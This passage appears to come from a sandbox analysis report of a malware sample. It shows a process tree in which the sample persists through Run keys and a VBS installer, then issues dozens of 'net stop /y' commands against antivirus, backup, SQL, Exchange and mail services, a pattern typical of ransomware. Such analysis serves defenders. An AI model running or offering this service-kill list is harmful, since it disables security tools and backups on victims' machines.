    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:14244
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:14316
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:1812
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
      4⤵
      PID:396
- C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
  "C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4792
- - C:\Windows\SysWOW64\net.exe
    net stop "Acronis VSS Provider" /y
    3⤵
    PID:13324
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Acronis VSS Provider" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:7140
- - C:\Windows\SysWOW64\net.exe
    net stop "Enterprise Client Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:13388
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Enterprise Client Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:9708
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Agent" /y
    3⤵
    PID:7648
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Agent" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:10556
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos AutoUpdate Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5752
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos AutoUpdate Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:7960
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Clean Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6936
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Clean Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:7612
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Device Control Service" /y
    3⤵
    PID:12000
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Device Control Service" /y
      4⤵
      PID:5948
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos File Scanner Service" /y
    3⤵
    PID:9792
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos File Scanner Service" /y
      4⤵
      PID:8064
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Health Service" /y
    3⤵
    PID:9548
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Health Service" /y
      4⤵
      PID:11444
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos MCS Agent" /y
    3⤵
    PID:9060
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Agent" /y
      4⤵
      PID:13664
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos MCS Client" /y
    3⤵
    PID:9420
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Client" /y
      4⤵
      PID:6096
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Message Router" /y
    3⤵
    PID:1936
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Message Router" /y
      4⤵
      PID:13788
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Safestore Service" /y
    3⤵
    PID:6580
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:11208
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Safestore Service" /y
      4⤵
      PID:11820
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos System Protection Service" /y
    3⤵
    PID:676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos System Protection Service" /y
      4⤵
      PID:9520
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Web Control Service" /y
    3⤵
    PID:9068
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Web Control Service" /y
      4⤵
      PID:10092
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Backup Service" /y
    3⤵
    PID:5184
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Backup Service" /y
      4⤵
      PID:9528
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Filter Service" /y
    3⤵
    PID:8128
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Filter Service" /y
      4⤵
      PID:4876
- - C:\Windows\SysWOW64\net.exe
    net stop "Symantec System Recovery" /y
    3⤵
    PID:10136
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Symantec System Recovery" /y
      4⤵
      PID:7400
- - C:\Windows\SysWOW64\net.exe
    net stop "Veeam Backup Catalog Data Service" /y
    3⤵
    PID:10228
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y
      4⤵
      PID:11668
- - C:\Windows\SysWOW64\net.exe
    net stop "AcronisAgent" /y
    3⤵
    PID:4956
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AcronisAgent" /y
      4⤵
      PID:8280
- - C:\Windows\SysWOW64\net.exe
    net stop "AcrSch2Svc" /y
    3⤵
    PID:10624
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AcrSch2Svc" /y
      4⤵
      PID:5232
- - C:\Windows\SysWOW64\net.exe
    net stop "Antivirus" /y
    3⤵
    PID:7128
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Antivirus" /y
      4⤵
      PID:10924
- - C:\Windows\SysWOW64\net.exe
    net stop "ARSM" /y
    3⤵
    PID:10892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ARSM" /y
      4⤵
      PID:12948
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecAgentAccelerator" /y
    3⤵
    PID:5368
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentAccelerator" /y
      4⤵
      PID:5692
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecAgentBrowser" /y
    3⤵
    PID:8144
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentBrowser" /y
      4⤵
      PID:11852
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecDeviceMediaService" /y
    3⤵
    PID:10812
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecDeviceMediaService" /y
      4⤵
      PID:12024
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecJobEngine" /y
    3⤵
    PID:10324
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecJobEngine" /y
      4⤵
      PID:11776
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecManagementService" /y
    3⤵
    PID:13736
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecManagementService" /y
      4⤵
      PID:11860
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecRPCService" /y
    3⤵
    PID:1708
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecRPCService" /y
      4⤵
      PID:9532
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecVSSProvider" /y
    3⤵
    PID:14104
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecVSSProvider" /y
      4⤵
      PID:7100
- - C:\Windows\SysWOW64\net.exe
    net stop "bedbg" /y
    3⤵
    PID:12052
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "bedbg" /y
      4⤵
      PID:11508
- - C:\Windows\SysWOW64\net.exe
    net stop "DCAgent" /y
    3⤵
    PID:3444
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "DCAgent" /y
      4⤵
      PID:14256
- - C:\Windows\SysWOW64\net.exe
    net stop "EPSecurityService" /y
    3⤵
    PID:12112
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EPSecurityService" /y
      4⤵
      PID:9132
- - C:\Windows\SysWOW64\net.exe
    net stop "EPUpdateService" /y
    3⤵
    PID:12124
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EPUpdateService" /y
      4⤵
      PID:4500
- - C:\Windows\SysWOW64\net.exe
    net stop "EraserSvc11710" /y
    3⤵
    PID:10884
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EraserSvc11710" /y
      4⤵
      PID:8008
- - C:\Windows\SysWOW64\net.exe
    net stop "EsgShKernel" /y
    3⤵
    PID:13884
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EsgShKernel" /y
      4⤵
      PID:8260
- - C:\Windows\SysWOW64\net.exe
    net stop "FA_Scheduler" /y
    3⤵
    PID:1884
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "FA_Scheduler" /y
      4⤵
      PID:14292
- - C:\Windows\SysWOW64\net.exe
    net stop "IISAdmin" /y
    3⤵
    PID:6552
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "IISAdmin" /y
      4⤵
      PID:12364
- - C:\Windows\SysWOW64\net.exe
    net stop "IMAP4Svc" /y
    3⤵
    PID:9160
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "IMAP4Svc" /y
      4⤵
      PID:9656
- - C:\Windows\SysWOW64\net.exe
    net stop "macmnsvc" /y
    3⤵
    PID:14328
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "macmnsvc" /y
      4⤵
      PID:11632
- - C:\Windows\SysWOW64\net.exe
    net stop "masvc" /y
    3⤵
    PID:12132
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "masvc" /y
      4⤵
      PID:8372
- - C:\Windows\SysWOW64\net.exe
    net stop "MBAMService" /y
    3⤵
    PID:12656
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MBAMService" /y
      4⤵
      PID:11828
- - C:\Windows\SysWOW64\net.exe
    net stop "MBEndpointAgent" /y
    3⤵
    PID:9276
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MBEndpointAgent" /y
      4⤵
      PID:11964
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeEngineService" /y
    3⤵
    PID:13808
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeEngineService" /y
      4⤵
      PID:10252
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeFramework" /y
    3⤵
    PID:11832
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFramework" /y
      4⤵
      PID:9848
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeFrameworkMcAfeeFramework" /y
    3⤵
    PID:12328
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework" /y
      4⤵
      PID:13556
- - C:\Windows\SysWOW64\net.exe
    net stop "McShield" /y
    3⤵
    PID:6672
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McShield" /y
      4⤵
      PID:10068
- - C:\Windows\SysWOW64\net.exe
    net stop "McTaskManager" /y
    3⤵
    PID:14060
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McTaskManager" /y
      4⤵
      PID:10120
- - C:\Windows\SysWOW64\net.exe
    net stop "mfemms" /y
    3⤵
    PID:6408
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfemms" /y
      4⤵
      PID:4780
- - C:\Windows\SysWOW64\net.exe
    net stop "mfevtp" /y
    3⤵
    PID:8048
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfevtp" /y
      4⤵
      PID:4944
- - C:\Windows\SysWOW64\net.exe
    net stop "MMS" /y
    3⤵
    PID:1340
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MMS" /y
      4⤵
      PID:7928
- - C:\Windows\SysWOW64\net.exe
    net stop "mozyprobackup" /y
    3⤵
    PID:5848
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mozyprobackup" /y
      4⤵
      PID:8680
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer" /y
    3⤵
    PID:5392
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer" /y
      4⤵
      PID:7932
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer100" /y
    3⤵
    PID:4892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer100" /y
      4⤵
      PID:5336
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer110" /y
    3⤵
    PID:924
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer110" /y
      4⤵
      PID:10312
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeES" /y
    3⤵
    PID:7216
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeES" /y
      4⤵
      PID:5412
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeIS" /y
    3⤵
    PID:11676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeIS" /y
      4⤵
      PID:8896
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeMGMT" /y
    3⤵
    PID:13012
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMGMT" /y
      4⤵
      PID:13344
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeMTA" /y
    3⤵
    PID:5668
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMTA" /y
      4⤵
      PID:7432
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeSA" /y
    3⤵
    PID:11008
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSA" /y
      4⤵
      PID:7280
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeSRS" /y
    3⤵
    PID:9856
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSRS" /y
      4⤵
      PID:12136
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$SQL_2008" /y
    3⤵
    PID:12220
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SQL_2008" /y
      4⤵
      PID:13372
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$SYSTEM_BGC" /y
    3⤵
    PID:9220
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC" /y
      4⤵
      PID:1484
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$TPS" /y
    3⤵
    PID:4296
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPS" /y
      4⤵
      PID:11836
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$TPSAMA" /y
    3⤵
    PID:13888
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPSAMA" /y
      4⤵
      PID:5780
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$BKUPEXEC" /y
    3⤵
    PID:10852
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$BKUPEXEC" /y
      4⤵
      PID:6004
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$ECWDB2" /y
    3⤵
    PID:10784
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$ECWDB2" /y
      4⤵
      PID:12252
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PRACTICEMGT" /y
    3⤵
    PID:5716
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2224
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT" /y
      4⤵
      PID:1160
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PRACTTICEBGC" /y
    3⤵
    PID:7300
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC" /y
      4⤵
      PID:2148
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PROFXENGAGEMENT" /y
    3⤵
    PID:776
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT" /y
      4⤵
      PID:11216
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SBSMONITORING" /y
    3⤵
    PID:10304
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SBSMONITORING" /y
      4⤵
      PID:11584
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SHAREPOINT" /y
    3⤵
    PID:13772
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SHAREPOINT" /y
      4⤵
      PID:8168
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SQL_2008" /y
    3⤵
    PID:6780
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SQL_2008" /y
      4⤵
      PID:11692
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SYSTEM_BGC" /y
    3⤵
    PID:12272
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC" /y
      4⤵
      PID:5296
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$TPS" /y
    3⤵
    PID:10352
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPS" /y
      4⤵
      PID:4216
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$TPSAMA" /y
    3⤵
    PID:4280
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPSAMA" /y
      4⤵
      PID:7496
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2008R2" /y
    3⤵
    PID:3768
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y
      4⤵
      PID:4768
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2012" /y
    3⤵
    PID:5672
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012" /y
      4⤵
      PID:11072
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher" /y
    3⤵
    PID:2860
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher" /y
      4⤵
      PID:8676
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
    3⤵
    PID:10612
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
      4⤵
      PID:8660
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SBSMONITORING" /y
    3⤵
    PID:7732
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING" /y
      4⤵
      PID:12464
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SHAREPOINT" /y
    3⤵
    PID:7804
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT" /y
      4⤵
      PID:5988
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SQL_2008" /y
    3⤵
    PID:10356
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008" /y
      4⤵
      PID:9628
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SYSTEM_BGC" /y
    3⤵
    PID:8668
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC" /y
      4⤵
      PID:7868
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$TPS" /y
    3⤵
    PID:7388
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS" /y
      4⤵
      PID:12744
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$TPSAMA" /y
    3⤵
    PID:8056
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA" /y
      4⤵
      PID:10964
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLSERVER" /y
    3⤵
    PID:6136
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLSERVER" /y
      4⤵
      PID:6116
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerADHelper100" /y
    3⤵
    PID:4600
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerADHelper100" /y
      4⤵
      PID:7796
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerOLAPService" /y
    3⤵
    PID:10568
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerOLAPService" /y
      4⤵
      PID:13880
- - C:\Windows\SysWOW64\net.exe
    net stop "MySQL80" /y
    3⤵
    PID:3012
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MySQL80" /y
      4⤵
      PID:2380
- - C:\Windows\SysWOW64\net.exe
    net stop "MySQL57" /y
    3⤵
    PID:2356
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MySQL57" /y
      4⤵
      PID:13076
- - C:\Windows\SysWOW64\net.exe
    net stop "ntrtscan" /y
    3⤵
    PID:13040
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ntrtscan" /y
      4⤵
      PID:3160
- - C:\Windows\SysWOW64\net.exe
    net stop "OracleClientCache80" /y
    3⤵
    PID:8456
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "OracleClientCache80" /y
      4⤵
      PID:10064
- - C:\Windows\SysWOW64\net.exe
    net stop "PDVFSService" /y
    3⤵
    PID:6072
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "PDVFSService" /y
      4⤵
      PID:9400
- - C:\Windows\SysWOW64\net.exe
    net stop "POP3Svc" /y
    3⤵
    PID:13020
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "POP3Svc" /y
      4⤵
      PID:12740
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer" /y
    3⤵
    PID:3356
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer" /y
      4⤵
      PID:12920
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$SQL_2008" /y
    3⤵
    PID:6876
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SQL_2008" /y
      4⤵
      PID:12420
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$SYSTEM_BGC" /y
    3⤵
    PID:11700
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC" /y
      4⤵
      PID:13872
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$TPS" /y
    3⤵
    PID:7940
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPS" /y
      4⤵
      PID:5572
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$TPSAMA" /y
    3⤵
    PID:11620
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPSAMA" /y
      4⤵
      PID:9844
- - C:\Windows\SysWOW64\net.exe
    net stop "RESvc" /y
    3⤵
    PID:14092
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "RESvc" /y
      4⤵
      PID:3332
- - C:\Windows\SysWOW64\net.exe
    net stop "sacsvr" /y
    3⤵
    PID:6572
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "sacsvr" /y
      4⤵
      PID:1804
- - C:\Windows\SysWOW64\net.exe
    net stop "SamSs" /y
    3⤵
    PID:6296
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SamSs" /y
      4⤵
      PID:3392
- - C:\Windows\SysWOW64\net.exe
    net stop "SAVAdminService" /y
    3⤵
    PID:2508
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SAVAdminService" /y
      4⤵
      PID:6188
- - C:\Windows\SysWOW64\net.exe
    net stop "SAVService" /y
    3⤵
    PID:12924
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SAVService" /y
      4⤵
      PID:4428
- - C:\Windows\SysWOW64\net.exe
    net stop "SDRSVC" /y
    3⤵
    PID:11120
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SDRSVC" /y
      4⤵
      PID:5612
- - C:\Windows\SysWOW64\net.exe
    net stop "SepMasterService" /y
    3⤵
    PID:14124
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SepMasterService" /y
      4⤵
      PID:8736
- - C:\Windows\SysWOW64\net.exe
    net stop "ShMonitor" /y
    3⤵
    PID:11308
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ShMonitor" /y
      4⤵
      PID:9332
- - C:\Windows\SysWOW64\net.exe
    net stop "Smcinst" /y
    3⤵
    PID:7812
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Smcinst" /y
      4⤵
      PID:11048
- - C:\Windows\SysWOW64\net.exe
    net stop "SmcService" /y
    3⤵
    PID:10076
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SmcService" /y
      4⤵
      PID:7148
- - C:\Windows\SysWOW64\net.exe
    net stop "SMTPSvc" /y
    3⤵
    PID:10544
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SMTPSvc" /y
      4⤵
      PID:7436
- - C:\Windows\SysWOW64\net.exe
    net stop "SNAC" /y
    3⤵
    PID:8584
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SNAC" /y
      4⤵
      PID:9712
- - C:\Windows\SysWOW64\net.exe
    net stop "SntpService" /y
    3⤵
    PID:4572
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SntpService" /y
      4⤵
      PID:5320
- - C:\Windows\SysWOW64\net.exe
    net stop "sophossps" /y
    3⤵
    PID:13652
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "sophossps" /y
      4⤵
      PID:10464
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$BKUPEXEC" /y
    3⤵
    PID:6984
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC" /y
      4⤵
      PID:8836
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$ECWDB2" /y
    3⤵
    PID:5548
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$ECWDB2" /y
      4⤵
      PID:7728
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PRACTTICEBGC" /y
    3⤵
    PID:3472
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC" /y
      4⤵
      PID:6204
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PRACTTICEMGT" /y
    3⤵
    PID:9092
  - - C:\Windows\SysWOW64\net1.exe
